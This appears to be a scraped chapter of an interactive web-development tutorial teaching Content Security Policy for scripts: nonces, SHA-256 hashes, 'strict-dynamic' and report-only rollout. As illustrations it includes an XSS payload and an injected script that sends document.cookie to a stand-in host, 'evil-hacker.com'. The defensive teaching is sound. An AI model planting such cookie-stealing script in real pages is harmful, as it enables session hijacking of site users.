Chapter 76: JavaScript in HTML

Content Security Policy (CSP) and Scripts

Locking down execution environments, eliminating `'unsafe-inline'`, cryptographic nonces, and SHA hashes.

LEARNING OBJECTIVES
  • Understand the W3C Content Security Policy Level 3 specification for the script-src directive.
  • Eliminate the dangerous 'unsafe-inline' directive by adopting cryptographic nonces and SHA digests.
  • Implement 'strict-dynamic' to seamlessly trust dynamically loaded dependencies from nonced roots.
  • Monitor and triage Cross-Site Scripting (XSS) violations using Content-Security-Policy-Report-Only.
🎬 INTERACTIVE VISUAL PIPELINE Core Architecture Simulation
🌐
1. Input
Directives & Tags
⚙️
2. Parse
Tokenizer & AST
🌳
3. Layout
Box Model & Flow
🎨
4. Render
GPU Paint & Composite
PHASE 1: INPUT & DIRECTIVES
Browser receives declarative markup stream, parsing tag tokens and initializing component state.

📖 The Mental Model & Story (Intuitive Foundation)

Imagine a top-secret government research facility with hundreds of scientists.

In the old days, anyone in a white lab coat who walked through the front door was allowed into the server room. If an attacker slipped in wearing a counterfeit white coat (an injected <script>alert(document.cookie)</script> XSS payload), the guards assumed they were a legitimate scientist. This is the danger of 'unsafe-inline': the browser cannot tell whether inline code was written by you or injected by a hacker.

To secure the facility, the director installs a Cryptographic Nonce Checkpoint (CSP Level 3):

  1. Every morning, the central mainframe generates a random, cryptographically unique single-use badge ID (a nonce, e.g., nonce-4bf8e9...).
  2. When the server delivers the HTML document, it prints that exact badge ID into the HTTP header and onto legitimate employee name tags (<script nonce="4bf8e9...">).
  3. If an attacker injects a rogue <script> tag into the comments section, it lacks the secret badge ID. The guards (the browser engine) tackle the intruder at the door, block execution immediately, and send a telemetry alarm to headquarters.
+---------------------------------------------------------------------------------------------------+
|                                 STRICT CSP SCRIPT VERIFICATION PIPELINE                           |
+---------------------------------------------------------------------------------------------------+

 1. HTTP Response Header:
    Content-Security-Policy: script-src 'nonce-d89f2a' 'strict-dynamic' https:;

 2. Incoming HTML Document:
    <!-- Tag A (Legitimate Developer Script) -->
    <script nonce="d89f2a">
      console.log('Authorized system code.');
    </script>

    <!-- Tag B (Injected XSS Attack via User Input) -->
    <script>
      fetch('https://evil-hacker.com/steal?cookie=' + document.cookie);
    </script>

 3. Browser Security Engine:
    - Checks Tag A Nonce ("d89f2a" === "d89f2a") ──> ✅ PERMIT EXECUTION
    - Checks Tag B Nonce (No nonce / mismatch)   ──> ❌ BLOCK SCRIPT & LOG CSP VIOLATION

Technical Deep Dive & Specifications

The W3C CSP Level 3 Architecture

A Content Security Policy (CSP) is an HTTP response header (or <meta> tag) that restricts the resource origins and execution capabilities of a document.

Delivery Mechanisms

Method Syntax Capabilities / Restrictions
HTTP Response Header (Recommended) Content-Security-Policy: script-src 'self' ... Full capabilities (supports frame-ancestors, report-uri, report-to, sandboxing).
HTML <meta> Tag <meta http-equiv="Content-Security-Policy" content="..."> Client-side fallback. Cannot enforce report-to, frame-ancestors, or report-uri.

Anatomy of the script-src Directive

The script-src directive dictates which scripts are permitted to execute:

Content-Security-Policy: script-src <source-1> <source-2> ...;

Key Sources & Tokens:

  • 'self': Allows scripts hosted on the exact same scheme, hostname, and port as the document.
  • https://cdn.jsdelivr.net: Allows scripts loaded from specific trusted remote hosts.
  • 'unsafe-inline': Allows all inline scripts and inline event handlers (onclick="..."). CRITICAL ANTI-PATTERN: Completely disables XSS defense.
  • 'unsafe-eval': Allows dynamic code evaluation APIs like eval(), new Function(), setTimeout("string", 100).
  • 'nonce-<base64-value>': Permits specific <script nonce="..."> tags matching the per-request token.
  • 'sha256-<base64-value>': Permits inline scripts whose exact raw text matches the cryptographic SHA-256 digest.
  • 'strict-dynamic': Instructs the browser to automatically trust any dynamic script created programmatically by a script that already possesses a valid nonce.

Nonces vs. Hashes: When to Use Which?

+---------------------------------------------------------------------------------------------------+
|                                      NONCE vs. HASH STRATEGY                                      |
+---------------------------------------------------------------------------------------------------+
|                                                                                                   |
|  1. CRYPTOGRAPHIC NONCE ('nonce-RANDOM')                                                          |
|     - Best for: Dynamic server-rendered applications (Node.js, Go, Python, Next.js, Rails).       |
|     - Rule: The server MUST generate a fresh, cryptographically secure 128-bit random token       |
|             (e.g., `crypto.randomBytes(16).toString('base64')`) on EVERY SINGLE HTTP request.     |
|     - Never hardcode a static nonce in HTML templates!                                            |
|                                                                                                   |
|  2. CRYPTOGRAPHIC HASH ('sha256-DIGEST')                                                          |
|     - Best for: Static sites (Jamstack, Astro, Hugo, Amazon S3, Cloudflare Pages).                |
|     - Rule: Compute the SHA-256/384 hash of the exact static inline script body (including        |
|             whitespace). If the script text never changes, the hash never changes.               |
+---------------------------------------------------------------------------------------------------+

Eliminating Inline Event Handlers

A strict CSP blocks all inline DOM event handlers:

<!-- ❌ BLOCKED by strict CSP: -->
<button onclick="handleLogin()">Sign In</button>
<a href="javascript:void(0)">Link</a>

<!-- ✅ ALLOWED by strict CSP (Attached via external or nonced script): -->
<button id="login-btn">Sign In</button>
<script nonce="rAnd0m123">
  document.getElementById('login-btn').addEventListener('click', handleLogin);
</script>

SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
HTML STARSHIP CODE TERMINAL example.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...

💻 Interactive Code Playground

Starter Code

Line-by-Line Code Breakdown

  • Lines 8–11 (<meta http-equiv="Content-Security-Policy">): Sets a strict CSP rule: only execute inline scripts whose content hashes to sha256-43O9QcI91Wq677v4zHqUfZ5n9iP64Y+c6Z2q7qPqOio=.
  • Line 21 (<script>console.log(...)</script>): The exact characters inside this tag match the SHA-256 digest, so the browser allows it to run.
  • Lines 34–37 (Simulated Injected Script): Contains different code. Because its hash is not present in the CSP directive, the browser blocks execution immediately and logs an error to DevTools.

Expected Browser Render Output


SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
HTML STARSHIP CODE TERMINAL playground.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...
Content Security Policy Monitor

[ ✅ Authorized Script ]
The authorized inline script matched the cryptographic SHA-256 digest and executed.

[ 🛡️ Malicious Script Injection Test ]
Inspect the DevTools Console to see the browser block the unauthorized injected script below.

(DevTools Console Security Violations):
[Report Only / Blocked]: Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'sha256-...'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.

🏋️ Hands-On Exercise

🎯 The Challenge: Harden an Insecure Application with Strict Nonce and Hash CSP

You are auditing a cloud banking portal. The portal currently has no Content Security Policy, and an attacker managed to inject an inline <script> stealing user auth tokens.

Instructions:

  1. Configure a strict Content-Security-Policy via <meta> tag with script-src permitting:
    • Scripts from the origin ('self').
    • Trusted external CDN https://cdnjs.cloudflare.com.
    • An authorized inline bootstrap script via its exact SHA-256 hash.
  2. Refactor an insecure inline onclick handler on a transfer button to use a clean DOM event listener inside the authorized script.
  3. Verify that any unauthorized injected scripts are completely blocked.

🏁 Starter Code Sandbox

SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
STARTER CODE SANDBOX exercise.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...

⚠️ Common Pitfalls

  1. Reusing Static Nonces Across Requests: Storing a static nonce in an environment variable (e.g. nonce="12345") completely defeats the security of nonces. Attackers simply inject <script nonce="12345"> and bypass your entire policy. Nonces must be generated randomly per HTTP request.
  2. Leaving 'unsafe-inline' in Policies: Adding 'unsafe-inline' alongside domain whitelists allows attackers to execute arbitrary inline scripts anywhere in your HTML.
  3. Using eval() or Function() in Production Libraries: If your third-party charting or templating library relies on eval(), strict CSP will break it unless you add 'unsafe-eval'. Choose modern libraries that compile templates ahead of time.

💡 Pro Tips

  1. The Modern Google "Strict CSP" Template:
    Content-Security-Policy:
      script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
      object-src 'none';
      base-uri 'none';
    
    Why this works: Modern browsers support nonces and 'strict-dynamic' (which automatically ignores 'unsafe-inline' and host whitelists), while older legacy browsers fall back to 'unsafe-inline'.
  2. Roll Out in Report-Only Mode First: Before enforcing a strict CSP in production, deploy with the Content-Security-Policy-Report-Only header and a report-to endpoint. This lets you observe violations in real time without breaking the user experience.

📌 Key Takeaways

  • Content Security Policy (CSP) is the primary defense against Cross-Site Scripting (XSS) and malicious code injection.
  • The script-src directive dictates where JavaScript can be fetched from and how it can execute.
  • Avoid 'unsafe-inline'; use cryptographic nonces for dynamic servers and SHA-256 hashes for static pages.
  • Nonces must be unique, unguessable, and regenerated on every single HTTP request.
  • CSP blocks all inline event attributes (onclick="..."); attach listeners cleanly using addEventListener.
  • --
⭐ LEARN: HTML 🌟 ⚔️ QUIZ BATTLE ARENA // ACTIVE
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 1 / 3

Why is the directive script-src 'self' 'unsafe-inline' considered dangerous in production environments?

Question 1 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 2 / 3

What is the defining rule for generating a cryptographic nonce for a Content Security Policy?

Question 2 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 3 / 3

How does the CSP Level 3 'strict-dynamic' keyword improve application architecture?

Question 3 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP